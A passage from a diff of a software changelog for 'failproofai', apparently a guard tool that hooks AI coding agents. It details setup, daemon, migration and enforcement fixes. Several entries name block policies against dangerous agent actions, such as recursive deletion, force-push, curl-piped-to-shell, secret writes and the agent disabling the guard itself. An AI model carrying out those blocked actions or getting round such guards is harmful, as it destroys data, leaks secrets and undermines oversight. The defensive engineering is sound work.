SILENTLY for a day — the wrong property for the thing whose whole job is noticing silent failures. A work dir mounted at a different path inside the container than out leaves the sibling-container `-v` sources resolving against the host to nothing; a `CANARY_REF` left at the shipped `origin/failproofaid` points the box at a branch that merged in #632, so it would test a frozen tree forever and never say so; and a filled-in env file with no Slack webhook produces a run that works perfectly and reports nowhere, which is worse than no canary because it looks like coverage. `integration-suite/local/install.sh` refuses each at install time, in front of a person, rather than at 06:17 tomorrow in front of nobody — the webhook is required for that reason, not because the run needs it. It builds the runner image straight from the git URL (Docker takes `#:` as a build context) so the box never clones, installs the env file at mode 600, and REWRITES rather than appends its cron line — it carries a `# failproofai-canary` marker and strips any previous line first, so re-running upgrades the schedule instead of scheduling a second job. No credentials template ships in the repo at all — a file that looks like a credentials file is one `git add -A` away from being committed by whoever fills it in — so running the installer with no arguments prints the variable list instead, generated from the same `REQUIRED_` lists it enforces and therefore unable to drift the way a checked-in example silently does. `--dry-run` distinguishes what it CHECKED (the preflight really runs; it keeps its ✓) from what it would CHANGE, because a script reporting success for work it did not do is the same defect class this canary exists to find. (#686) + - Stop the nightly doc translation re-translating everything, most days. Runs cost **4 minutes** on Aug 3-5 and **118-136 minutes** every day from Aug 6-11 — ~750 wasted runner-minutes and six full-corpus passes through the LLM gateway in six days. Three causes compound, and none of them was the translation cache's own logic, which is sound. **First, the cache was being evicted between runs.** `ci.yml` cached `target/` under a combined `actions/cache@v6`, so every PR ref that missed the exact key wrote its own 1.5-2.3 GiB copy; five were live at once (#677, #679, #680, #681 and main), putting the repo at **11.56 GiB against GitHub's 10 GiB cap** and so permanently in LRU eviction. What that evicted was the 13 KB translation cache — touched once every 24 hours, therefore always the least-recently-used thing in the store. The restore/save split is the one `build-daemon.yml:117-144` already uses, and its comment there already gives the second reason to want it. **Second, the cache was saved once, at the end of a serial pipeline.** The only save sat in `consolidate`, downstream of both the matrix gate and `mintlify validate`, so a single page failing in a single language discarded all fourteen languages' work: Aug 6 lost ~110 completed minutes to one `ko` page. Each language now saves its own fragment in the job that produced it, immediately after the step that proved it good; the merged entry stays as a cross-language fallback. **Third, a cache HIT never checked that the translated file exists.** `isCached` is a pure function of the English source hash — it records that a page was translated once, not that it is on disk — and translations land on an auto-translate PR branch. With #682 unmerged, `main` lacked `docs//cli/{update,migrate}.mdx` while the cache reported them done, so they were never regenerated, `--update-nav` (which reads the *English* tree) emitted nav entries pointing at them, and `mintlify validate` failed on 28 missing files. That is non-convergent: **a cache hit fails validation and only a full 120-minute miss goes green**, which is exactly what Aug 12 did. Statting the output makes the cache self-healing against any "translated once, never landed" gap. Also: a cache miss is now a visible `::warning` rather than silent — the old restore key always evaluated to the bare literal `translation-cache-`, since the file is gitignored and `hashFiles` returns `""` for an absent path, so every restore that ever worked was a prefix fallback and a total miss looked identical to a hit. Artifact retention goes 1 → 7 days so a run that dies mid-pipeline leaves a manual recovery path. (#685) ## 1.0.0 — 2026-08-12 @@ -80,18 +93,27 @@ never "blocked". ### Features - Cut setup's prose by two thirds. The daemon step spent three lines explaining the warm-worker architecture to somebody about to type a password; the cloud step spent five on what connecting sends. Eleven lines became three — say what is happening and what it costs, drop the mechanism. The cloud screen keeps the one clause that is not explanation ("Sessions include prompts, file contents and command output"), because it is a consent screen and the only place that disclosure is ever made: `describeOutcome` prints "hook activity" afterwards and never mentions transcripts, so compressing it to "telemetry" would be brevity that is really vagueness. Its option hint now says what the cloud GIVES — central monitoring and policy deployment, which is what the key's two scopes buy — rather than "see what your agents did", which the local dashboard already shows and which made connecting look redundant. The same screen names the product rather than the artefact — "New to FailproofAI? Create a key at befailproof.ai/get-started" — and points at get-started rather than the dashboard host, since somebody reading that line has no key and usually no org either, and "No key?" reads as an error state to a person who has simply not signed up yet. (#683) + - Give `failproofai config` a Recommended path, so the common install is two questions instead of five. Setup opened by asking scope, policy bundles, harnesses and cloud of somebody who has just installed the tool and does not yet know what any of those mean — every one of which has a defensible default, so asking all four up front made the person least able to answer do the most work. Recommended is not a shortcut past those decisions, it is a decision taken on their behalf: global scope (a project install guards the one directory the command was run from and silently leaves every other repo unguarded), the CLIs actually detected on the machine, and a named 15-policy set. Customize is the previous wizard unchanged — nothing is removed and nothing is hidden, it stops being the only way through. The cloud question is still asked on both paths. (#683) + - Name what "Recommended" means, in one list with the reasoning attached. `RECOMMENDED_POLICIES` in `policy-presets.ts` is written out rather than derived from `defaultEnabled`, because those answer different questions — `defaultEnabled` seeds a checklist of 40, this answers "what should guard a machine whose owner did not want to choose" — and deriving one from the other would silently reshape the recommended set every time somebody flipped a flag on an unrelated policy. It is the 12 that were already default-on plus **three that were off and should not have been**: `block-rm-rf`, `block-force-push` and `block-secrets-write`. A recommended setup that omits catastrophic deletion and force-push is not recommendable, and both are precisely scoped — `block-rm-rf` only fires at depth ≤2 under `/` or a home directory, exempts `/tmp`, and treats an unresolved `$VAR` target as catastrophic, so `rm -rf node_modules` is untouched; `block-force-push` blocks `--force` and `-f` while explicitly allowing `--force-with-lease` and `--force-if-includes`. Deliberately excluded, each for a stated reason: the `require-*-before-stop` workflow gates (they refuse to let the agent finish until CI is green, and per `enforcement-capability.ts` do not fire at all on hermes or goose), the infra blockers (they break the day job of anyone who runs kubectl), `block-read-outside-cwd` (agents legitimately read outside the repo) and the ten `warn-*` policies (a warning nobody reads is worse than one that was never shown). (#683) + - Give the review screen a taste of the policy set rather than only a count. `Policies : 15 enabled` is a number the user cannot check and, on the recommended path, did not choose. Two names and a count of the rest now sit under it — `block-curl-pipe-sh, block-env-files +13` — which is the same shape `describeSelection` already uses for bundles, and enough to say what KIND of thing these are without turning a four-line review into a thirteen-line one; a screen nobody reads to the bottom conveys less than a short one. The whole review body is rendered dim by the prompt, so it reads as a subtitle to the count rather than competing with it, and it scales unchanged to "Everything" (`block-aws-cli, block-az-cli +38`). Degrades by dropping a name rather than overflowing: `writeLines` truncates with a hard cut and no ellipsis, so an over-long line ends mid-slug and reads as a policy name that does not exist. (#683) + - Union rather than replace when Recommended writes. `installHooks` runs with `replace: true`, so writing the bare 15 would switch OFF anything the user had enabled by hand — turning "give me the sensible defaults" into a reduction in protection, the one direction this must never move. On a fresh machine the union is exactly the 15. The `customPoliciesEnabled` flag is left alone on this path for the same reason: the customize expression evaluates to `false` when no bundle is ticked, and no bundle is ever ticked here, so writing it would disable every `.failproofai/policies` file on disk as a side effect of choosing the default setup. (#683) ### Fixes - Give a Hermes session one agent id for its whole life. A single session was arriving under two — confirmed on a customer org, `20260812_133702_31ca19f0` under both `hermes-kratos` and `hermes-telegram`, and a cron session under both `hermes-cron` and the bare fallback, from ONE collector with the other producer's rows excluded. The id was derived from the session's own `cwd` and `source` columns and re-read on every poll, and Hermes rewrites those throughout a run (`hermes_state.py` carries ~20 `UPDATE sessions SET …`), so a session split the moment one changed between two polls. The file documented that as a safety property — "session columns are read fresh on every poll" — while the `pending` map directly below states the opposite rule correctly for tool names; reading fresh is right for a name and wrong for an identity. Identity now comes from which DATABASE the session is in: the root keeps the bare `hermes` every deployment already ships under, and `profiles//state.db` becomes `hermes-`. A path cannot change mid-poll, so this is stable by construction, it keeps the poll function pure (the format contract requires that or re-read rows dedup into duplicates), and it matches the standalone collector's `agent_id_for` so a machine migrating off it is not renamed. Nothing is lost: `hermes_source` and `hermes_cwd` were already on every event, so transport and project stay answerable as filters over one agent's sessions. The regression test polls twice with `cwd` rewritten in between — every existing test polled once, which is why a shipping bug sat behind a green suite. (#683) + - Close a hole in the bundle vocabulary that Recommended had to route around. Four `defaultEnabled` policies — `block-self-pause`, `block-sudo`, `block-curl-pipe-sh` and `block-failproofai-commands` — are in the `Dangerous Commands` category, which no preset covers, and only `block-secrets-write` is rescued from it by the secrets preset's `extra`. So 8 of the 12 default-on policies are reachable by ticking bundles and 4 are not, and since the wizard writes with `replace: true`, a first run that picks bundles produces a machine WITHOUT the two policies that stop the agent disabling failproofai itself. `RECOMMENDED_POLICIES` names all 15 explicitly rather than composing bundles, and `defaultsMissingFromRecommended()` plus a test assert that every default-on policy stays in it — so the day a new one is added, the recommended set cannot silently fall behind the checklist. The bundles themselves still have the gap; closing it needs a fifth bundle or a decision that the self-protection policies are not optional. (#683) + - Make `mode: "oss"` actually stop the daemon talking to the cloud. `config --disconnect` writes that flag and its own comment states the rule: "every cloud code path keys off this flag rather than off 'is a token lying around' precisely so that a disconnected machine is provably silent instead of silent-by-happenstance." That was true of the TypeScript CLI and false of the **daemon**, which is the process that holds the socket and had never read the flag — so a machine put back on OSS whose credential file outlived the decision to leave went on polling and shipping while `--status` reported it disconnected: a restored home, a copied config, a reinstall, a partial cleanup, or simply the layout-1 `cloud.json` fallback. The veto is checked inside `from_file` rather than at the call site, because that function has three exits and a veto guarding only some of them is not a veto. It reads `mode.kind` — `fp-config.ts` persists `mode: { kind }`, an object, and reading it as a string is why an earlier cut of this never fired at all; the tests missed it because their fixtures carried the same wrong assumption as the code, which is worse than no test since they also reported the case as covered. ONLY an explicit `"oss"` vetoes: `mode` postdates the enrolments already in the field, so reading absent or malformed as "oss" would silently disconnect every machine enrolled by an older CLI. `FAILPROOFAI_CLOUD_URL` still wins, since the env path exists so CI and containers work with no files at all. (#683) + - Stop reporting a connection the machine no longer has. Everything `config --status` printed about the cloud connection was read from the credential file, which records what was true at `--connect` time and is never revisited — so a key that was later revoked, expired (`api_key_expiry` exists server-side now), or whose org was disabled left that file byte-for-byte correct while nothing arrived. That is the failure recorded in `crates/failproofaid/src/main.rs`: "a key revoked at 13:05:37 and replaced 37 seconds later was still producing 401s twenty minutes on, with 26 parked batches and a CLI saying `connected`. The only symptom was data that never arrived." The detection was never missing — the uploader writes its verdict into the parked batch's **filename** (`.a.c.jsonl`, a rename rather than a sidecar so the record cannot desynchronise from the batch it describes), and `is_auto_retryable()` already excludes a definitively-refused batch from the retry pass because it "will fail identically until the cause is fixed". Nothing had ever read that directory. `--status` now reports from it, and the line replaces the cheerful one rather than being appended after it, because the collector's record of what the server actually said is the only thing on that screen describing **now**. Deliberately silent on batches parked without a client status: those exhausted server-error retries, the retry pass picks them up again, and reporting them would cry wolf over a blip the daemon is already handling. (#683) + - Say it once a session, without anyone having to ask. `--status` only speaks when someone runs it, and the whole failure mode is that nobody knows there is anything to ask about — so the same verdict is now emitted at `SessionStart`, the one point failproofai is already invoked on every CLI, exactly once per session, with a person watching. Costs one directory read per session; needs no flag, no new daemon channel and no user action. It cannot affect the outcome of the hook: the read swallows its own errors, the verdict goes to stderr (`SessionStart` is `observe` on every integration, so a stderr write there cannot block a session), and the exit code is untouched. 401 and 403 are grouped as "credential" — a rejected key and a key without `events:add` have different causes, the same user-visible outcome, and the same fix — and only that group is told to re-run `--connect`. (#683) + - Make a `PostToolUse` deny actually enforce on codex and copilot. Both read a **top-level** `{decision:"block", reason}` at that event and neither reads the `hookSpecificOutput.additionalContext` shape we emitted, so every PostToolUse deny on those two CLIs was evaluated, logged, counted as enforcement in the dashboard — and dropped on the floor. That is the whole `sanitize-*` family plus any custom policy matching `PostToolUse`. Verified rather than inferred, because the rows asserting it were stale in both directions: on codex an A/B live probe at **0.147.0** (identical prompt and hook, only the response shape differing) shows `{decision:"block"}` printing `hook: PostToolUse Blocked` and routing the reason through `codex_core::tools::router` so that it **replaces the tool result the model reads** — the probe's real stdout never reached the model — while the shape we shipped printed `hook: PostToolUse Completed` and the model read that stdout verbatim; on copilot both `postToolUse` call sites in the shipped **1.0.78** bundle gate on `vK = t => t?.decision === "block" && typeof t.reason === "string"`, which fails closed on a missing or non-string reason, so the reason is always sent as a string. This is result-replacement, not prevention — the tool has already run at PostToolUse and its side effect stands — which is exactly the semantic an output-scrubbing policy needs to keep a secret out of the model's context, and is why copilot's "Can block? No" in vendor docs is true of the side effect but not of the result the model reads. Other CLIs are untouched and keep `additionalContext`; a test pins that boundary, since widening the new shape to claude would silently break the one consumer that does read the nested form. (#683) ### Docs @@ -109,7 +131,9 @@ never "blocked". ### Fixes - Reuse the machine id the collector already wrote instead of minting a second one. `resolveMachineId` looked for an existing id in the cloud credential only, but `connectToCloud` writes it to **two** files under two independent conditions — `credentials.json`'s cloud table when `policies:pull` verifies, and `config.json`'s collector block when `events:add` does — and a key carrying one grant and not the other is a first-class state, since the dashboard offers `policies` and `collector` as separate key presets. So a telemetry-only first connect stamped `collector.machine_id = A` on every event and wrote no cloud credential; a later policies-capable connect found no cloud credential, minted B, and overwrote the collector block with it. The fleet list is a union of enrolment rows and event-derived ids, so one host showed as **two machines**: A reporting with no label and nothing deployed, B enrolled and empty — with A's history stranded and A counting toward `unguarded` on the policy page, the exact false reading that page exists to surface. The value is returned verbatim rather than trimmed, because the daemon stamps it on events verbatim too, and normalising here would hand the cloud a different id than the events carry — reintroducing the split from the other side. (#663) + - Stop two test suites writing into the real `~/.failproofai`. `worker-server.test.ts` and `fail-closed-force-decision.test.ts` drive the real hook path, which calls `persistHookActivity()`, and neither set `FAILPROOFAI_HOME` — so every run appended test decisions to the **developer's own** decision log and re-counted their `stats.json`. Found because a user asked why their hook activity had grown after an upgrade when they had triggered no hooks: the records were visible in their log with `cwd` values like `/tmp/fpai-worker-server-test-…`, and 43 of the 48 records in it were test artefacts rather than their own activity. Both suites now mkdtemp a home and clear it afterwards, and running them leaves the real log byte-for-byte unchanged. No product code was involved — `persistHookActivity` has exactly one caller and it is the genuine hook path — so this was never something a user's own machine did to itself. (#663) + - Name the policy bundles in the setup summary instead of counting the policies inside them. The completion line read `Setup complete — 9 policies · 12 harnesses`, and "9 policies" is a number the user cannot check and did not choose — they ticked two **named** bundles two screens earlier, so the line that confirms their setup now says which: `Setup complete — Secrets & data, Git safety · 12 harnesses · custom, daemon`. Bounded against the same 80-column budget the existing summary tests already assert (80 minus a 3-column gutter), because `writeLines` truncates with a hard cut and no ellipsis — an over-long line does not lose its tail, it reads as broken output. All four labels joined is 57 characters and runs the line past 80 with the harness and extras clauses, so naming degrades to the count when it will not fit, rather than being cut. Two names is also the common case, so most runs see every name. `Everything` carries its size (`Everything (47 policies)`), since the word alone does not say how much that is; a machine whose policies were all enabled one at a time with `policies add` has no bundle to name and keeps the count. (#663) ## 1.0.0-beta.19 — 2026-08-10 @@ -117,14 +141,23 @@ never "blocked". ### Fixes - Ask before removing the daemon service on a plain `failproofai uninstall`, and prompt for the password instead of printing commands. Uninstall always tore the service down, and it did so through `uninstallDaemonService()`, which uses `sudo -n` and never prompts — so without a cached sudo credential the removal failed and the command printed a unit file to delete by hand. That is the same defect `failproofai update` had: a non-interactive elevation rule that exists for the **wizard**, whose reason is that a password prompt fired from under a full-screen TUI is unreadable. Uninstall is plain line output with a person in front of it and does not inherit that constraint. It now calls `primeElevation()` **before** attempting the removal, so the three privileged operations — install, refresh, remove — all ask. Separately, a plain uninstall now **asks** whether the service should go at all: the hooks are gone either way so nothing is being enforced, and someone clearing hooks before a reinstall has no reason to tear down a system service and re-type their password. A missing answer keeps it — declining to remove a service is recoverable, removing one nobody asked about is not. `--purge` does **not** ask and removes it unconditionally, because purge deletes `~/.failproofai`, which is where the daemon binary lives: leaving an enabled unit whose `ExecStart` has just been deleted crash-loops the service at every boot, so "keep the daemon" is not an option purge can offer. `--yes` also still removes it, because the flag means yes to the plan and scripted uninstalls rely on it — making it keep the daemon would silently start leaving a service behind on every automated run. (#663) + - Rebuild the decision log's totals after carrying it across a layout upgrade. `hook-activity/stats.json` is **incremental** — one entry folded in per append, never rescanned — so it is the only part of the log that cannot survive being lost. The migration dropped it and `current.count` as derived state on the stated grounds that "the store rebuilds them", and nothing did: there was no rebuild anywhere in the store, so `readStoredStats()` fell through its catch to zeroes and began accumulating again from the next event. A user upgrading from a pre-daemon home therefore kept **every record and lost every total** — the dashboard listed their whole history while reporting 0 events, 0 denies and no top policy. Reported from live testing and reproduced on a seeded home. Dropping the file is still right (two incremental counters cannot be merged without inventing a number) but only if something recomputes it, so `rebuildHookActivityStats()` now scans every page after the carry. Exact rather than approximate, because pages are never pruned — there is no retention anywhere in the store — so the files on disk are the whole history. The fold is shared with the append path so a rebuild and an append cannot count differently and drift apart unnoticed. (#663) + - Carry a legacy root `spool/` and `failed/` instead of deleting them. Both were on the retired list with **no carry and no backup**, while `HOME_CLASSES` classes the layout-3 equivalents `undelivered` with the note "never deleted" — so the two halves of the same module contradicted each other and the delete won. Worth being precise: no published version writes a root spool (`fpai-collect` used `home.join("spool")` only on the unmerged daemon branch; the commit that reached `main` already wrote `state/spool`, and the 0.0.x line has no spool at all — checked against the published 0.0.10, 0.0.14, 0.0.15 and 1.0.0-beta.0 tarballs), so on every real machine this finds nothing and costs one `existsSync`. It is closed anyway because "listed for deletion, with no carry and no backup" is a trap whether or not anything falls into it today, and an undelivered event is not regenerable. Carried into the live spool so the events actually ship on the flush that follows, which is safe for an unknown format because the uploader quarantines a batch it cannot send into `failed/` rather than failing on it. (#663) + - Stop `failproofai config` discarding the policy selection it never showed you. `buildPresetChoices` set `checked` on exactly one row — the Custom checkbox — so all eight bundle boxes rendered unticked on every run, while the wizard calls `installHooks` with `replace: true`, which makes the ticked set the WHOLE enabled set at that scope. `replace` is the right rule (unticking a policy has to remove it) and it was paired with checkboxes that did not reflect current state, which turns a correct rule into a destructive one: re-running setup showed a blank slate and then made that blank slate authoritative, so a client's enabled policies were gone with nothing on screen to say it had happened. The comment on the Custom row has always described the intended behaviour — "shows the current state rather than resetting it every run" — and it was implemented for that one row. Bundles are now ticked when everything they turn on is already on (all, not any — "any" would tick every bundle sharing one policy and confirming would enable all of them), and anything enabled that no ticked bundle accounts for gets a locked "N enabled individually" row and is unioned back into the write, so `replace` cannot drop a policy added with `policies add`. Seeded from the scope the run will WRITE to, not the merged view, or a bundle enabled at project scope would be copied into user scope as a side effect of opening the wizard. One pure `splitEnabled()` defines the split, so the row the user sees and the set that gets written cannot disagree. (#663) + - Repoint registered custom-policy paths at where the migration put the files. `migrateConventionPolicies()` moves layout 2's `policies/custom-policies/*` up into `policies/`, and nothing rewrote the paths the user had REGISTERED — so every explicit `customPoliciesPaths` entry still named the directory the migration had just deleted. Reproduced on a seeded layout-2 home: the file was correctly at `policies/acme.mjs` while the config still said `policies/custom-policies/acme.mjs`, which resolved to nothing. Quiet because layout 3 collapses `customPoliciesDir()` onto `policiesDir()`, so the file is still discovered BY CONVENTION and usually keeps firing — not harmless, though: a convention-loaded policy gets a different id from an explicitly-pathed one, and `disabledCustomPolicies` records a disable against that id, so a policy the user had switched off can come back. Matched with `relative()` rather than a string prefix, or a sibling `custom-policies-old/` the migration never touched would be rewritten too. (#663) + - Stop telling macOS users to install a service they already have. A LaunchDaemon lives in launchd's system domain, so `daemonServiceStatus()` needs elevation to read it and returns `"unknown"` whenever `sudo -n` finds no cached credential — the normal case for a read-only status command. `daemonWarning()` had no branch for it, so it fell through to the socket check and announced that "a daemon is running outside the service manager", which is flatly false for a correctly installed service, and pointed at `failproofai config` to fix it. Linux never showed it because `systemctl is-active` needs no privileges, and that asymmetry was the whole of the bug. `"unknown"` now has its own branch, ahead of the socket check, saying what is actually true — whether a daemon is answering, and that its service state needs elevation to read — with the command to check by hand. (#663) + - Make a machine's name readable, and renameable without re-enrolling. Every status line printed the full machine id (`Mac.localdomain (dde01f39-afba-40eb-bf1a-815d9f17ac2d)`), which is 36 characters of noise for the one reader who cannot use them and made the id look like the machine's name. The id still has to appear — labels default to the hostname and are free to collide, so the label alone cannot identify a machine — so it is now an eight-character prefix, with `--verbose` for the full value. Separately, `--machine-label` was accepted only alongside `--connect`, so changing a display name meant re-running enrolment with the url and token again; used alone it is now a rename. The label is stored BEFORE it is pushed and the command still exits 0 when the server is unreachable — the rename did happen locally and the daemon sends it on its next poll, so refusing would fail exactly when someone is labelling a machine they are debugging. (#663) + - Carry a decision-log page by copy when the rename cannot work, instead of only on `EXDEV`. The fallback handled exactly one error code, on the reasoning that a cross-filesystem rename is the only failure a copy can rescue — and that is wrong: a rename needs write permission on the **source directory**, while a copy needs only read on the file and write on the destination, so `EACCES`, `EPERM` and `EROFS` on `cache/` all fail the rename and all succeed as a copy. Those pages were dropped from the carry with no attempt made. The comment excused it as leaving the page "still there", which is true of the file and false of its fate: `resetHome` stamps `VERSION` at the end regardless, `detectLayout()` then reports `current`, and the carry never runs again — so the page is not left for a retry, it is abandoned in the old layout where nothing reads it. The copy leaves the original behind, which is the right trade in the only direction that matters: the store reads pages under the current layout, so a duplicate there would double-count while one left behind is inert. (#663) + - Back up layout 2's policy selection from the nested path it actually lives at. The backup's claim to protect a policy selection rested on `legacy.policyConfig()` — the layout-1 **root** path, which layout 3 reuses and the migration therefore leaves alone, so on a layout-2 home it is usually absent. Layout 2 keeps the selection two levels down under `legacy.localPoliciesDir()`, and that directory **is** deleted; `readCarriedPolicyConfig()` was even narrowed to it for exactly that reason. So the one leg where the selection is destroyed was the one leg with no copy of it, while `migrate --dry-run` reported a backup either way — the same shape as the `cloud.json` gap above, found the same way. The nested path is saved under an explicit distinct name rather than its basename, which collides with the root copy's: flat, the two would overwrite each other on backup, and on restore the single survivor would be written back to **both** paths, putting layout 2's nested selection over layout 3's live config. Mirrored subdirectories would have been the tidier scheme and would have renamed data an older build already wrote — `backup-layout/` directories from beta.17 and beta.18 are already on real machines — which is the mistake four other fixes in this release exist to correct. (#663) + - Reserve the label a Hermes default task actually owns. beta.18's new guard seeded its reserved set with `sanitize_label(profile_dir_name(db))` — normalising a name that had already been normalised by a **different** function. The two disagree: `profile_dir_name()` maps each non-alphanumeric one-for-one and neither lowercases, collapses runs, nor trims, while `sanitize_label()` does all three. So the guard reserved a string no task owns. The root Hermes database lives in `~/.hermes`, so its task's cursor directory is `cursors/hermes/-hermes` and its health key `hermes:-hermes`; sanitising gave `hermes`. Because the root database is always index 0 this was wrong on **every** machine: `harness add-path hermes hermes=` was refused for colliding with nothing, while the name actually held stayed unguarded. An over-refusal rather than a hole — an extra's label cannot produce a leading dash, so nothing colliding got through — but it guarded the wrong name. Reserved names now go in **verbatim**, which is the correct pair to compare and is self-correcting for names an extra can never produce. Two things found alongside it: a reserved collision reused the duplicate-extras message and blamed "another extra path" that does not exist, and the docstring justified the separate entry point with "twelve call sites" when `resolve()` has **zero** production callers. (#663) ## 1.0.0-beta.18 — 2026-08-10 @@ -132,13 +165,21 @@ never "blocked". ### Fixes - Back up layout 1's `cloud.json` and `ingest.json` before migrating them. Both are on the retired list, so the migration deletes them, and nothing regenerates a cloud token — they are the definition of what `migrations/backup-layout/` is for. They were absent from that list while the carry that reads them was added, so on the layout-1 leg (the upgrade from the published `latest`) the token was removed with no copy kept: the backup was most incomplete exactly where it mattered most. Found by a functional matrix run over both legs, not by review. (#663) + - Refuse a Hermes extra path whose label collides with one of Hermes's own default profiles. Extra paths were validated against the default **paths** a source already watches, which cannot catch an entry whose **label** collides with one a default task derived — and Hermes is the only source whose default labels are derived, one per profile database. So `failproofai harness add-path hermes prod=/mnt/other/state.db` on a machine with a `prod` profile was accepted, and the two SQLite pollers then shared the cursor directory `cursors/hermes/prod` and the health key `hermes:prod`: the cursor store rewrites its map atomically, so each clobbered the other's watermark and both re-read from zero after every restart, while one health record overwrote the other so `root_present` alternated — destroying the "absent root versus merely idle" distinction that record exists to draw. That is the exact failure the per-profile directories were introduced to prevent, reached through a collision nothing checked. A new `resolve_reserving()` seeds the seen-label set with the labels the default tasks claimed, so a collision is caught by the same rule as a collision between two extras; `resolve()` keeps its behaviour and forwards. (#663) + - Make `failproofai harness add-path`'s duplicate checks agree with the rule they exist to pre-empt, and stop it claiming capture it cannot verify. Those checks exist because the daemon resolves entries at startup and silently **drops** a colliding one, logging only server-side — so the CLI would print success for a path that is never captured. They compared raw strings while the daemon normalises, so three shapes slipped through: a label differing only in case or punctuation (`"Team Share"` vs `team-share`, since the daemon lowercases and collapses non-alphanumerics), the same path with a trailing slash, and two **unlabelled** paths whose folder name derives one label — for which the label check did not run at all. In every case both entries were written, `harness list` showed both, and only one was captured. The comparisons now mirror `sanitize_label()`, `clean()` and `derive_label()`; the stored string stays exactly what the user typed, so this is a normalised **check** and not the second parser the module deliberately avoids. Separately, an entry overlapping the harness's own default capture root is rejected by the daemon and this side does not know those roots — teaching it all thirteen would be that second parser — so the success message now says what was written and where the real answer is (`harness list`) rather than promising capture. (#663) + - Stop `failproofai config` silently re-enabling a CLI you deselected. The harness step's "restore the prior selection after ←" logic was unreachable: `priorClis` read `clisSel`, which is the loop's own condition (`while (clisSel === null)`), so it is null on every entry into the body by definition and is assigned only on the line that ends the loop. So deselecting a CLI, pressing ← to change an earlier answer, and coming back redrew the **detected defaults** — and confirming then installed hooks into the CLI the user had explicitly turned off, with the code's own comment stating the opposite intent. The prior selection is now carried on state that survives the loop, filled from a new optional `onBack` callback on `multiSelect`: `BACK` is a symbol and cannot carry a value, and the selection lives in a local array rather than on the caller's choice objects, so a caller previously had no way to learn what had been ticked. The callback is additive and optional, so no other prompt's contract changes. Worth noting the original defeated the compiler's correct objection with a cast (`clisSel as string[] | null`) — which is why the dead code type-checked; the replacement reads a property and needs no suppression. (#663) + - Keep the cloud attribution on hook-activity rows written before the rename. `HookRow`'s `cloudRevision`→`cloudVersion` and `cloudGeneration`→`cloudDeployment` moves used serde `rename` with no `alias`, and these pages are written by the **daemon** — so a machine that was cloud-connected before the rename has real rows on disk naming the old keys. Nothing validates the shape (no `deny_unknown_fields` in Rust, and the TypeScript reader `JSON.parse`s a line and casts it), so those rows did not error: they carried keys nothing read, and every pre-upgrade cloud-decided decision rendered as unattributed — which is the one question these fields were added to answer. Aliases added on the Rust side, and the TS reader now maps the old keys on read, one-directionally and without deleting them. Same lesson as the two fixes above: renaming a symbol is safe, renaming the name of data an older build already wrote is not. (#663) + - Actually remove layout 2's per-deployment artifact tree, under the name layout 2 wrote. The cleanup checked for a directory called `deployments`, but every pre-rename daemon wrote `cloud-policies/generations//` — the generation→deployment sweep renamed a string literal that names an **on-disk artifact written by an older build**, which is data rather than a symbol, exactly like the `generation`/`revision` field names that needed aliases. So `exists()` was false on every real machine, the cleanup never ran, and the full copy of every policy set the machine had ever held was kept forever — the precise outcome the adjacent comment says it exists to prevent, and the comment itself repeated the mistake in prose. Both names are now checked, so a daemon built between the rename and the flattening is covered too. (#663) + - Ask for the sudo password in `failproofai update` when there is a terminal to ask in. Writing the service unit needs root and the privileged helper uses `sudo -n`, which never prompts — a rule that exists for the **wizard**, whose reason is that a password prompt fired from underneath a full-screen TUI is unreadable. `update` is plain line output and does not inherit that constraint, but it never called `primeElevation()`, the helper the wizard already uses for exactly this at exactly this point. So the command that exists for upgrading a daemon machine failed on one with `sudo credentials were not available` and a thirty-line unit file to paste by hand, leaving `sudo -v` first (undocumented) or `failproofai config` (an interactive wizard) as the only working routes — which is not an upgrade path. Gated on a TTY rather than attempted blindly: on a CI runner or a fleet box there is nobody to type a password and `sudo -v` would block on a prompt nothing answers, so those runs still fall through to `sudo -n` and get the exact commands, which is the right outcome for an unattended machine. (#663) + - Remove `policies/custom-policies/` when a subdirectory had to MERGE rather than move whole. `migrateConventionPolicies()`'s recursive `mergeInto()` drains a colliding child directory but never removed the emptied husk, so the final `rmdirSync` threw `ENOTEMPTY` into a swallowing `catch` and `custom-policies/` survived the migration that had just completed — permanently, since the next run recurses into the same empty child and fails identically. Only reachable when the destination already has a directory of the same name, which is why every existing test missed it: they all moved `lib/` wholesale through a single rename. The husk is still kept when a genuine leaf collision left a file behind, because that remainder is the user's own hand-written source and is the one thing this function must never delete. (#663) + - Read a `desired-state.json` written before the deployment/version rename, and pin the WIRE to the current schema version. The rename removed the `generation`/`revision` aliases from `DesiredState`/`DesiredPolicy` on the grounds that those types decode a remote payload from a server we version in lockstep — right about the wire, and incomplete about the FILE: `read_desired()` deserializes `desired-state.json` off disk into the same types, and that file is written by a daemon which may be older than the one now reading it, exactly like `active.json`, which is why *that* struct kept its aliases. `SUPPORTED_SCHEMA_VERSIONS` even names `desired-state.json` as a version-1 file on disk in its own comment. So one type was decoding bytes from two different writers, and the strictness the wire needs made the disk read fail — not on the unknown `generation` key, which is ignored, but on `deployment` being missing. `repair_active_from_cache()` swallows that, so with `active.json` also gone or corrupt **while offline** it returned without rebuilding and cloud policy stopped being enforced until a poll succeeded, on a machine with no way to poll. Fixed with a type per writer rather than one lenient type: the wire keeps its hard edge, and a disk-only legacy representation converts the old spelling on read. The wire end is now pinned to the current schema version explicitly, checked BEFORE the fields are decoded — decoding first also rejects a v1 payload, but on the wrong grounds ("missing field `deployment`" sends an operator hunting a malformed payload instead of a stale server), so the error now names both versions and says which half to upgrade. The HTTP fixture in the existing test declared `schemaVersion: 1` while using the v2 field names — a payload no server produces — and nothing noticed, which is itself the evidence this end was unchecked. (#663) ## 1.0.0-beta.17 — 2026-08-10 @@ -146,7 +187,9 @@ never "blocked". ### Fixes - Record the daemon version after `failproofai update`, so the skew clears. `installDaemonService()` deliberately does not write `VERSION.daemon` — only the wizard did, because that is where "this machine is configured, at this version" is decided — so a successful refresh left the new binary running while the file still named the old one. `daemonVersionSkew()` reads that file, so every later CLI command kept nudging about a stale daemon that had just been replaced, and the wizard's own skew check would have torn down and rebuilt a perfectly current service. Written with `writeVersionFile` rather than `setDaemonConfigured(true, …)`, which would also flip `daemon.configured`: an update refreshes what is installed and must not decide whether the machine requires it. (#663) + - Make `failproofai update` actually update the daemon. It fetched the matching binary and then rewrote the unit through `upgradedServiceDefinition`, which **preserves the existing `ExecStart`** by design — its job is the unit's shape, not which binary runs — so the new binary landed, the service restarted, and the OLD binary came back up, under a message saying the daemon had been refreshed. Worse than not having the command, because it reported success. It delegates to `installDaemonService()` now: the path that resolves this version's binary, writes the unit around that path, and uses `restart` rather than `enable --now` precisely so a live daemon is replaced instead of left running. A failure surfaces as one rather than being reported as a refresh, since on a machine configured to require the daemon the difference is a known-stale 